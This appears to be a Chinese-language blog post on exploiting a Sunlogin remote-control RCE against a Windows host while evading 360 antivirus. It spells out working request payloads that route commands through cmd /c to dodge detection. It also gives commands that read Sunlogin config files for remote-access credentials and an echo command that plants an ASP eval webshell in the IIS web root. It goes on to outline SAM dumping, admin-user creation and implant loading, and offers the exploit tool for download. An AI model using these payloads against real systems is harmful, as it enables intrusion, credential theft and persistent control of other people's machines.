某远控RCE绕过某数字的利用方式

简介: 某远控RCE绕过某数字的利用方式

0x01 前言

群友在某次项目测试中遇到一个存在向日葵远程命令执行漏洞的IP,目标环境Windows2016+360+Wdf,由于存在360而无法通过向日葵漏洞利用工具执行命令进行下一步测试。


当时复现这个漏洞时还真没想到过有防护问题,所以想对他这次遇到的场景进行一些分析和测试。


0x02 模拟场景

本地模拟了这个实战场景,向日葵10.5.0.29613,360安全卫士13.0.0.2003,测试用的Payload如下。

    /cgi-bin/rpc?action=verify-haras
    /check?cmd=ping../../../windows/system32/whoami
    /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+whoami

    0x03 问题复现

    测试了Github上大部分的向日葵利用工具,在执行命令时都被360拦截了,因为它们都是基于Powershell那个Payload来写的,而360又对Powershell的进程链监控的非常严,所以被拦也正常。


    我们在Burpsuite测试时发现,当执行的命令被360拦截时会出现:failed,error 5,当目标主机上没有对应程序时会出现:failed,error 2,也有可能会出现拒绝访问或不是内部命令的中文乱码


    同时在这个Payload也测试了以下常用命令,但均被拦截,执行dir、type命令拦的是Powershell,其他拦的都是对应系统程序,systeminfo倒是没被拦,但可以说这个Payload已经很难再绕过了。

      whoami、sc、dir、type、query、netstat、tasklist、net user...


      不过我们仍然可以用另一个Payload来执行一些常用命令,只要System32或SysWOW64目录下存在的系统程序大部分都可以执行,这样360是不会拦的,不过这种方式只能用做简单的信息搜集。

        /check?cmd=ping../../../windows/system32/tasklist+/svc


        但像dir、del、echo、copy、type这类文件操作命令就执行不了,因为System32下没有对应的程序,所以我们还是得通过cmd /c这种方式来执行,注意必须把cmd路径中的/正斜杠改为\反斜杠


        /check?cmd=ping../../../Windows\System32\cmd+/c+dir+c:\


        0x04 解决方案

        我们只需将向日葵利用工具源码中的命令执行方式改为cmd /c,这样就能完美解决在执行命令时被360拦截的问题。可通过向日葵允许的ping、nslookup执行命令,简化后的Payload如下。

          /check?cmd=ping/..\cmd+/c+whoami
          /check?cmd=nslookup/..\cmd+/c+whoami


          注:现在我们虽然已经可以执行常用命令了,但切记一定不要去执行以下这些高危命令,因为一旦执行后360就有可能会直接拦截cmd.exe,后边再去执行任何命令都会被360的进程防护拦截。


          powershell、net user、wscript/cscript...


          用于绕过360执行命令的向日葵漏洞利用工具和源码可通过关注“潇湘信安公众号回复“0616”来获取。


          0x05 绕过思路

          (1) 直接执行木马上线CS

          只能执行常用命令而不能上线怎么行?所以我还是测试了一个利用白名单绕过360进程防护上线的方式,这里只是给大家提供个思路,其他白名单还请自行测试。

          注:CS/MSF自带的hta里还有一层Powershell,执行会拦Powershell.exe,利用工具卡死,强制结束后就不能再执行任何命令了,这啥原理我也不知道,只是发现里边已经运行了一个ms.exe。


          (2) 读取向日葵配置文件

          低版本向日葵可直接执行以下命令读取默认安装路径中的config.ini配置文件即可获取ID和Pass,然后再用解密脚本得到明文后直接去连接就好了,那如果是高版本向日葵或自定义安装呢?

            type C:\Progra~1\Oray\SunLogin\SunloginClient\config.ini
            findstr . C:\Progra~1\Oray\SunLogin\SunloginClient\config.ini

            因为较高版本的向日葵将ID和Pass写进注册表里了,所以在配置文件中是找不到的,可通过执行以下命令读取对应注册表项获取ID和Pass,直接执行reg query命令会被360拦哦。

            如果目标主机的向日葵为自定义路径安装,那么我们该如何得到他的安装路径去读取config配置文件呢?可以使用sc qc命令查询向日葵服务得到安装路径,或者读取向日葵服务对应的注册表项。

            注:12.5.0.43486版本后的ID和Pass既没有保存在配置文件,也没有写进注册表,而且最近向日葵官方公众号在6月1日还出公告说要强制升级了,在连接朋友时也有看到提示,估计以后都没得玩咯。

            (3) 网站路径写Webshell

            如果目标主机有Web,我们可以用dir命令逐级查找Web目录,或直接根据网站上存在的脚本、图片、JS等文件来查找,也可以读取iis配置文件等,找到后写入Webshell,然后再进行提权,以下命令360都没拦。

              dir /a/b/s C:\iisstart.png
              %windir%\system32\inetsrv\appcmd list VDIR
              echo ^<%eval request("1")%^> >C:\inetpub\wwwroot\shell.asp

              注:我们还是得注意下写入文件内容的"双引号与利用工具执行命令的"双引号闭合问题,如果按常规方式写入的话"双引号可能会被吃掉,经过测试发现,这里得用3个双引号才能正常写入,工具BUG问题吧。

                echo ^<%eval request("""1""")%^> >C:\inetpub\wwwroot\shell.asp


                (4) 其他的一些利用思路

                除了以上几种利用方式,还有很多方法可以用,如:导出SAM注册表,本地解密得到明文,分段写入添加用户的Vbs脚本等,我就不挨个去测试了, 只要是你知道的方法都可以去试下,说不定就行呢!!!


                读取向日葵配置文件的方法最为稳妥,因为360和Wdf都不会对其进行拦截,可以省去很多麻烦事。


                0x06 文末总结

                首先我们是解决了向日葵利用工具执行命令被360拦截的问题,后边其实大部分测试的都是在向日葵远程命令执行漏洞下如何去绕过360进程防护执行木马、脚本、读注册表、导出SAM、添加管理员等,其实都是些重复的东西。


                听群里朋友说奇安信的天擎会直接以Cookie中的CID作为特征来进行拦截,也不知道真假?

                相关文章
                |
                Kubernetes Java Serverless
                进击的 Serverless:Java 应用如何从容地面对突增流量
                进击的 Serverless:Java 应用如何从容地面对突增流量
                104382 83
                |
                安全 网络安全
                技巧!通过360卫士白名单绕过查杀
                技巧!通过360卫士白名单绕过查杀
                1588 0
                |
                开发框架 安全 .NET
                记一次绕过安全狗和360提权案例
                记一次绕过安全狗和360提权案例
                348 0
                |
                开发框架 安全 JavaScript
                xss漏洞原理(四)自动化XSS
                xss漏洞原理(四)自动化XSS
                |
                人工智能 弹性计算 算法
                【云故事探索】NO.5:PETKIT小佩,科技与爱,共绘宠物智能生活新篇章
                在数字化浪潮中,中国宠物行业蓬勃发展,国内养宠规模已超2亿,形成千亿市场。成立于2013年的PETKIT小佩,专注智能宠物用品,服务遍布40+国家。面对618、双11等高峰挑战,阿里云ECS弹性扩容助其稳定运行。借助阿里云全球化部署能力,小佩成功出海。最新可视喂食器结合AI算法与OSS存储,提升用户体验。未来,双方将进一步探索AI大模型在宠物行业的应用,持续优化养宠体验。
                |
                运维 关系型数据库 MySQL
                绕过360安全卫士提权实战案例
                绕过360安全卫士提权实战案例
                917 1
                |
                存储 应用服务中间件 Linux
                开源日志管理系统Graylog之Sidecar功能实践
                开源日志管理系统Graylog之Sidecar功能实践
                1068 0
                开源日志管理系统Graylog之Sidecar功能实践
                |
                搜索推荐 Linux Go
                分享一个go开发的端口转发工具-port-forward
                分享一个go开发的端口转发工具-port-forward
                323 0
                |
                安全 网络安全 PHP
                TP-RCE绕过阿里云防护Getshell
                TP-RCE绕过阿里云防护Getshell
                510 1
                |
                移动开发 安全 关系型数据库
                Weblogic任意文件上传漏洞(CVE-2018-2894)复现
                Weblogic任意文件上传漏洞(CVE-2018-2894)复现 漏洞背景 WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。
                3909 0